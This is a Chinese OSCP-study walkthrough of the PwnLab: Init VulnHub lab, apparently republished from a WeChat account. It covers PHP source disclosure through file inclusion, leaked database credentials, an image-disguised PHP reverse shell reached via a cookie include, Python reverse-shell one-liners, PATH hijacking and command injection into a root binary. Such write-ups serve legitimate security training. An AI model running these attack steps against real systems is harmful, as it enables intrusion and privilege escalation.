【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

admin 2025年1月26日22:51:39评论8 views字数 15275阅读50分55秒阅读模式

前言

oscp备考,oscp系列——PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

难度简单偏上

  • 对于低权限shell获取涉及:文件包含+源码审计,文件包含+文件上传,mysql连接读取数据
  • 对于提权:环境变量劫持提权,管道符绕过提权

下载地址:

https://www.vulnhub.com/entry/pwnlab-init,158/

 

nmap

主机发现

└─# nmap -sn 10.10.10.0/24                  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 14:11 CST
Nmap scan report for 10.10.10.1 (10.10.10.1)
Host is up (0.00020s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2 (10.10.10.2)
Host is up (0.00016s latency).
MAC Address: 00:50:56:F2:C6:98 (VMware)
Nmap scan report for 10.10.10.133 (10.10.10.133)
Host is up (0.00024s latency).
MAC Address: 00:0C:29:BD:A7:72 (VMware)
Nmap scan report for 10.10.10.254 (10.10.10.254)
Host is up (0.00040s latency).
MAC Address: 00:50:56:F7:20:A7 (VMware)
Nmap scan report for 10.10.10.128 (10.10.10.128)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.95 seconds

端口扫描

└─# nmap --min-rate 10000 -p- 10.10.10.133    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 14:12 CST
Nmap scan report for 10.10.10.133 (10.10.10.133)
Host is up (0.00083s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
3306/tcp  open  mysql
43198/tcp open  unknown
MAC Address: 00:0C:29:BD:A7:72 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds


└─# nmap --min-rate 10000 -p- 10.10.10.133 -sU
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 14:13 CST
Warning: 10.10.10.133 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.133 (10.10.10.133)
Host is up (0.00078s latency).
Not shown: 65455 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT      STATE SERVICE
111/udp   open  rpcbind
39014/udp open  unknown
MAC Address: 00:0C:29:BD:A7:72 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 72.93 seconds

详细端口扫描

└─# nmap -sV -sT -sC -O -p80,111,3306,43198 10.10.10.133
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 18:05 CST
Nmap scan report for 10.10.10.133 (10.10.10.133)
Host is up (0.00097s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34382/udp6  status
|   100024  1          39014/udp   status
|   100024  1          43198/tcp   status
|_  100024  1          46276/tcp6  status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 61
|   Capabilities flags: 63487
|   Some Capabilities: SupportsCompression, Support41Auth, SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, InteractiveClient, Speaks41ProtocolNew, IgnoreSigpipes, SupportsLoadDataLocal, ODBCClient, LongColumnFlag, FoundRows, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: ]m-6e|aQP}G+?:C&/[;
|_  Auth Plugin Name: mysql_native_password
43198/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:BD:A7:72 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds

信息收集

web页面,80

发现登录框,尝试了sql注入和万能密码,失败,不过访问login的时候,发现可能存在文件包含,尝试利用读取源码

文件包含读取源码,进行源码审计

【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权login源码

http://10.10.10.133/?page=php://filter/read=convert.base64-encode/resource=login
【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权
image.png

base64解码一下,得到,发现还存在一个config.php文件,使用的是mysql数据库,读取一下

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) andisset($_POST['pass']))
{
 $luser = $_POST['user'];
 $lpass = base64_encode($_POST['pass']);

 $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
 $stmt->bind_param('ss', $luser, $lpass); # 发现这里使用了bind_param预处理函数,防止了sql注入

 $stmt->execute();
 $stmt->store_Result();

if ($stmt->num_rows == 1)
 {
  $_SESSION['user'] = $luser;
  header('Location: ?page=upload');
 }
else
 {
echo"Login failed.";
 }
}
else
{
?>
 <form action="" method="POST">
 <label>Username: </label><input id="user" type="test" name="user"><br />
 <label>Password: </label><input id="pass" type="password" name="pass"><br />
 <input type="submit" name="submit" value="Login">
 </form>
<?php
}

config.php源码

http://10.10.10.133/?page=php://filter/read=convert.base64-encode/resource=config

得到,发现可能是数据库的账号和密码

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

读取index.php源码,就是首页源码,一般都是index.php

http://10.10.10.133/?page=php://filter/read=convert.base64-encode/resource=index

得到,发现有二个文件包含,cookie的那个没有限制后缀

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']); # 在这里也发现了一个COOKIE文件包含,而且还没有限制后缀
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
 {
include($_GET['page'].".php"); # 可以发现这里限制了后缀必须为php
 }
else
 {
echo"Use this server to upload and share image files inside the intranet";
 }
?>
</center>
</body>
</html>

upload.php源码

http://10.10.10.133/?page=php://filter/read=convert.base64-encode/resource=upload

得到,发现一个/upload目录,getimagesize函数检测内容,白名单,和MIME检测,

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
 <body>
  <form action='' method='post' enctype='multipart/form-data'>
   <input type='file' name='file' id='file' />
   <input type='submit' name='submit' value='Upload'/>
  </form>
 </body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
  $filename  = $_FILES['file']['name'];
  $filetype  = $_FILES['file']['type'];
  $uploaddir = 'upload/'; # 发现存在一个upload目录
  $file_ext  = strrchr($filename, '.');
  $imageinfo = getimagesize($_FILES['file']['tmp_name']); # 使用了getimagesize函数检测内容,不过这个只需要添加图片文件头即可绕过,例如:GIF89a
  $whitelist = array(".jpg",".jpeg",".gif",".png");  # 使用了白名单,不过没有关系,我们可以通过文件包含进行组合利用

if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
  }

if(strpos($filetype,'image') === false) {
die('Error 001');
  }

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { # 这里进行了MIME检测
die('Error 002');
  }

if(substr_count($filetype, '/')>1){
die('Error 003');
  }

  $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; # 随机文件名

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo"<img src="".$uploadfile.""><br />";
  } else {
die('Error 4');
  }
 }
}

?>

访问一下/upload,可以进行目录浏览【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

目录扫描

再扫描一遍,看看有没有什么遗漏,发现/images/目录【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权访问一下【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

漏洞利用

mysql连接读取数据

尝试连接mysql数据库

root/H4u%QJ_H99
mysql -uroot -pH4u%QJ_H99 -h 10.10.10.133 

mysql -uroot -pH4u%QJ_H99 -h 10.10.10.133 --skip-ssl

【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权读取一下数据

【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权得到

| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |

base64解码一下

kent/JWzXuBJJNy
mike/SIfdsTEn6I
kane/iSv5Ym2GRo

文件上传+文件包含利用

尝试登录,第一个就登录成功

kent/JWzXuBJJNy

【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权上传反弹shell图片马

copy test.jpg/b + reverseShell.php reverseShell.jpg

上传成功【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

已经上传到了upload目录下面【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权使用文件包含,先试试看能不能绕过.php的限制 第一种%00截断,失败

http://10.10.10.133/?page=./upload/4b0348221a884f933e5ecf72aa5ecc63.jpg%00

第二种垃圾字符填充,Windows下使用(.)加(/)的方法填充259次,linux下需要使用2038次,失败

http://10.10.10.133/?page=././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././upload/4b0348221a884f933e5ecf72aa5ecc63.jpg

第三种,远程文件包含时通过?来伪截断,失败

http://10.10.10.133/?page=http://10.10.10.133/?page=./upload/4b0348221a884f933e5ecf72aa5ecc63.jpg

还是直接利用吧,cookie这里,上面还一个lang/目录,需要目录穿越一下

 include("lang/".$_COOKIE['lang']); # 在这里也发现了一个COOKIE文件包含,而且还没有限制后缀

构造

lang=../upload/4b0348221a884f933e5ecf72aa5ecc63.jpg

【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权反弹shell成功【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

提权

之前发现有三个账号,先反弹shell一下做备份,尝试其他账号

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

mike失败了,看看web页面可不可以登录【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权web页面登录成功【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权等下试试反弹shell

kane切换成功【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

因为反弹shell脚本是6666端口的,所以在反弹一个做备份

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功了,但是没什么用【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权看了就只有目前就只有两个账号可以使用了,在kane发现一个mike用户的文件【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权发现是一个可执行文件,使用strings查看二进制文件中查找可打印的字符串

【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权
image.png

环境变量劫持提权

发现这里使用了cat命令,我们只需要更改环境变量,首先自己创建一个cat命令,里面写需要执行的命令,然后将我们自己创建的cat命令所在的目录添加到环境变量里面去,并且排在最前面,这样执行cat命令的时候,就是执行了我们的cat

  • 创建一个cat,执行的命令为bash,并且赋予权限
echo"/bin/bash" >cat
chmod 777 cat
  • 更改环境变量,将当前目录排到最前面
export PATH=/home/kane:$PATH

执行

./msgmike

获得mike用户shell【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

管道符绕过提权

发现mike目录下面也有一个可执行文件,查看权限,然后运行一下,发现是root的可执行权限【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权这里的环境变量写死了,不能劫持了【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权不过这一条命令,好像是直接将我们输入的内容拼接进去做一个备份,可以尝试使用管道符绕过

/bin/echo %s >> /root/messages.txt

使用,不清楚为什么bash不行

11;/bin/sh;
【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权
image.png

 

原文始发于微信公众号(泷羽Sec-尘宇安全):【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月26日22:51:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权http://cn-sec.com/archives/3679061.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息